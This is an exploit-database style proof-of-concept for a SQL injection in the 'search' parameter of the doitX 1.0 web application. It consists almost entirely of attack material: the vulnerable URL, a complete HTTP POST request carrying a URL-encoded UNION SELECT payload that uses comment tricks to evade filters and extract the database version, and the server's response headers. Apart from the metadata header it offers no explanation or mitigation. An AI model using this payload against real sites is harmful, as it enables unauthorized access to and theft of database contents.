doitX 1.0 - 'search' SQL Injection

# Exploit Title: doitX 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://mybizcms.com/
# Software Link: https://codecanyon.net/item/doitx/23041037
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/searchs?search=[SQL]&search_from=entries
# 

POST /[PATH]/searchs?search=%45%66%65%27%20%2f%2a%21%31%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%31,%76%65%72%73%69%6f%6e%28%29,%33%2c%34%2c%35,%36%2c%37%2c%38%2c%39%2c%31%30,%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35,%31%36%2c%31%37%2d%2d%20%2d&search_from=entries HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=0d8ccf7db10abc97c8d3c41fa705cbbc
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 19:19:05 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked